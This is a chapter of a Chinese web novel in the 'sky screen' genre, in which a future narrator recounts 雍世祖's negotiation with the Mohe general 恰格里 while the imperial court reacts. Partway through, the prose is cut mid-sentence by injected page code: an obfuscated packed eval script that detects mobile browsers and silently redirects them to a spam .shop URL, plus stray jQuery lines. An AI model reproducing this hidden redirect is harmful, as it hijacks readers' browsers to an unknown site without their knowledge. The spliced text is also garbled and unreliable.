什么问题?
【在五日前,恰格里刚从索布单于派来的使者手中接到换防的指令呢。】
什么?不可能!
兴庆殿,顾川和季淮瞬间意识到不对。
按天幕所说,索布在大婚后没几日就被诃勒杀死,王庭也遭到了诃勒的大举进攻,怎么会派人给远在大雍边境的恰格里下达换防指令?
柳暨和樊怿对视一眼,面色也凝重起来。
宣和帝紧盯着天幕,嘴唇抿成了一条直线。
周徽在脑海中回想舆图,计算着距离和时间,而后呼吸霎时急促几分,手心也沁出几分汗渍。
边关,钟可期猛地握紧拳头,沉声道:“是诃勒!”
【家人们有没有就听出了什么不对的地方?
已知索布单于五月九日就已经死了,雍世祖他们到的时间大概是五月二十多。
往前减五天,也就是说,索布单于派来的人,大概是五月二十左右到的。
谟纥王庭到云城,正常的使者一般六七天左右就能到,那他接到命令的时间应该是五月十三左右。
也就是说,五月十三已经死了四天的索布单于又重新复活,就为了给恰格里下一道正常的换防命令。】
天幕下,有人听的哈哈大笑,也有人听懂了,一下子紧张起来。
【这问题不就来了吗?
恰格里也是经验颇丰的老将了,他能不知道这个吗?
这一听见外甥和表妹说王庭被打,他就知道这使者有问题了。
所以,他二话不说,就要去杀了使者。
哎呀,小南都不知道他咋想的,咋能这么天真鲁莽又愚蠢呢?】
边疆,副将极其赞同:“哈哈哈哈哈,骂的好!”
这些年,他们与谟纥之间虽未打过大仗,但也是摩擦不断。
边疆安宁也就近几年而已,是将军每逢春秋便去练兵一番,胡患才稍止。
前些年,谟纥几乎每年都会趁着秋收之际来劫掠一番,副将和恰格里是有过多次交手的。
那个杀千刀的胡虏,有什么脑子?不过就是凭着所谓的血统和还不错的力气而已。
【咱就不说其他的,你起码弄明白,这使者到底想干什么吧?
这么没心眼的人,被有心机的人玩地团团转也是他该得。
好在,我们的雍世祖大大及时阻止了他,并让他马上先警戒各处出城要道,秘密把使者一行人给绑了,千万别走漏了消息。
哈,恰格里会这么听话吗?怎么可能!
谟纥刚打败大雍,恰格里还是这几场仗的先锋,他现在气焰正盛,目中无人着呢。
便是索布单于的阏氏又如何,区区战败国送来和亲的公主,有什么资格能命令他?若不是她救了贺兰岫二人,恰格里都不会把她放在眼里。
所以,他不仅不听,还口出狂言,说等他把诃勒打跑,贺兰云当上单于,就让贺兰云娶了雍世祖,只当报答她的相助,大雍和谟纥两国联姻仍然作数。】
“放肆!”宣和帝一掌拍在龙椅上,震怒道,“犬羊之辈,彼蓄兽谋!廉耻俱泯,安敢秽乱天纲?!”
他执掌大雍近三十年,却蛮夷六百里,万万没想到,他还会受到夷狄的如此侮辱!
殿下众人亦是脸色难看,章巽声似寒冰:“相鼠有皮,鸟兽有矩,禽畜知序,獍枭无伦!”
人既无伦,非人哉,禽兽不如,何不速死!
周徽咬紧牙关一言未发,脸却气的通红。
如此折辱,她必报之!
“无耻,这也太无耻了吧!”姜谧忍不住骂道。
她这个有现代思想的人,知道草原有这个习俗的人都受不住,何况古代纲常伦理下长大的人。
她望向铺子外,果见众人骂的那叫一个不堪入耳唾液飞溅。
便是她那个一向温厚的大哥,此时也是脸红脖子粗,嘴里也罕见地冒出几句粗口。
【听到这儿,家人们是一种什么感受?是不是觉得这人特无耻,是个白眼狼,还癞蛤蟆想吃天鹅肉,一点没把雍世祖看在眼里,非常生气?
那小南告诉大家,如果我们感觉到是愤怒,那雍世祖的愤怒是我们的百倍不止,不仅愤怒,更是一种天大的羞辱。
为什么要这么说呢?那我们要想到雍世祖的生长环境。
在古代,有过这样的婚俗——子纳庶母,弟娶寡嫂,侄娶婶母。
我们现在很多人认为只要双方都是自愿的,那有什么不可以?毕竟双方也没血缘关系,人家两人在一起又没碍着其他人。】
天幕下的众人:……
从小妈文学开始,他们就觉得后世怕不是礼崩乐坏,如今看来果真如此。
“世风日下啊!”
民间,却有一青年眸光微微一亮。
【古人把这种婚俗叫做烝报婚,后来人对它的批判之声那是相当大。
而现在,恰格里的这个想法,那都已经不是烝、报了。
烝、报是同辈或者两代之间,在古代尚属罕见。而现在,这是三代呀,几乎是闻所未闻!
雍世祖作为一个中原王朝长大的人,纵使她从未在意过自己和索布这桩充斥着利益关系的婚姻,可恰格里的这个想法对她来说却也是实实在在的羞辱。
说实话,要是小南是世祖大大,小南一定狠狠甩他几个大嘴巴子!
但我们的世祖大大她没有这样做,季淮气的拔剑欲刺,公孙越那个老弱文官都撸起袖子要干架了,她甚至都没有动怒。
史书记她面无愠色,神色淡然。
这是一种什么样心性和忍性啊,所谓的荣辱不惊也不过就这样了吧。】
兴庆殿,群臣具是一震,心中半晌无言。
他们自问,若是自己遇到这样的场景,恐怕也无法做到比皇太孙更好了。
【小南读这段时,除了钦佩之外,更多的是心疼。
曾经骄恣尊贵的小公主,是怎样忍下这切齿之恨,为恰格里出谋划策,让他躲过一劫的?
所以弱国无外交,败国无尊严!要是雍明帝还在,恰格里还敢理所当然地说出这句话?若是愍帝不葬送那四十万大军,恰格里还敢站在大雍的军镇上,对大雍的公主大放厥词吗?】
自然不敢!
自宣和六年至今,不管谟纥实际心思如何,明面上它一直是奉大雍为君的。
宣和十七年时,还曾派人前来求亲,不过被宣和帝给拒绝了。
若是大雍仍旧昌盛,夷贼又岂敢作乱辱君?!
宣和帝招手唤道:“太孙。”
周徽快步走他身边,就听皇祖父的声音中带着点哽咽,温声道:“你很好,令仪,委屈你了。”
周徽眼眶微酸,她眨眨眼压回泪意,坚定道:“我以后会做的更好!”
弱国无外交,败国无尊严。
周徽心中不断地咀嚼着这句话。
有生之年,她绝不会让大雍再落到如此境地!
四夷宾服,万邦
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17749972|208635||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
来朝,天幕里的她可以,以后的她也可以。
【雍世祖深刻地明白这一点,生气是没有用处的,所以她开口就道:“将军此去将速死荒野。”
结果这话一出,直接就给恰格里整破防了。
他不相信,他大怒,他觉得雍世祖不安好心,他还要治雍世祖的罪。
真的相当无脑啊,要是谁在小说里这么给敌方将领降智,那作者指定要被骂两句的。
但,我们去看历史,发现这样人真的很多,恰格里只是里面不起眼的一个而已。
世祖大大看恰格里就像看未开化的狒狒一样,他咆哮他的,世祖说她自己的。
她直接给下结论,说这送信的使者必然是诃勒安插在谟纥的内鬼,所为之事便是将恰格里引出城,然后在某一处设上伏兵,只等恰格里经过便要了他的命。
而现在,如果他再耽搁时间,城里的探子必然会将她们一行人的消息送出去。
那消息一送出去,恰格里就等着困守孤城去吧。
恰格里这才将信将疑地派人去抓使者。
唉,结果怎么着,去的时候使者已经收拾好东西,马上就要跑了!好在城门封锁及时,探子没有跑出去。
恰格里抓着使者一番拷问,嘿,和雍世祖说的一分不差。
恰格里让贺兰岫姑侄留在臣,他让那使者带路,马上要带人去把诃勒的伏兵收拾了。
嗯,想法不错,想法很美。
但是,你要不问问我们世祖大大为什么要帮你这个攻占了大雍军镇,还口出不逊的人呢?
你也不美你也不善,是吧?那是怎么好意思舔着个脸做白日梦的呢?】
边疆,副将还在生气恰格里竟敢对皇太孙殿下不恭,正唾骂着谟纥猪狗不如,此时听到这话,猛猛点头。
美?善?哪个都不是用来形容恰格里的。
“皇太孙殿下不就是为了制衡诃勒吗?”天幕自己说的话,自己忘记了?
钟可期沉思道:“不止,还有云城。”
副将错愕。
【雍世祖的最后一个目的终于来了,她对恰格里说,她要恰格里率兵退出所有大雍军镇,将其还给大雍。
恰格里当然不同意,这可是谟纥千辛万苦打下来的。有了军镇,谟纥随时便有南下之机。
雍世祖却说,诃勒也是可怜,是被谟纥逼到了如今的地步。
哈哈,这话里话外的意思其实很明显了吧。诃勒是被谟纥逼的,才不得已反击;要是恰格里不放弃军镇,那也是大雍也不得不和诃勒结盟了。
哦,恰格里脑子里只有杀人打仗的筋,他听不懂。但是,贺兰岫听懂了。
要不说是我们世祖严选呢,从小就聪明。
贺兰岫这么一说,恰格里又怒了,但怒又怎么样,世祖早在让人送士兵遗体返乡时,就派人把谟纥将内乱的消息传出去了。
贺兰岫一方几番讨论,又想到在王庭主战的那个成年王子,天平自然偏向撤军。
可他们也得要个保障啊,不然他们前脚撤军,后脚就被包了饺子怎么办?
好办呀,立正经盟约文书呗。哈哈哈,这回可不是和诃勒的口头盟约了。
那句非常出名的,周岫cp文中必不可少的话——吾之爱女也,就出自这次盟约之中。
想想也知道,这时候两人哪有母女之情啊,真正的情义得等到贺兰岫随世祖回朝之后。
不过,就这假意中掺着一丝真心的感觉才好磕啊!】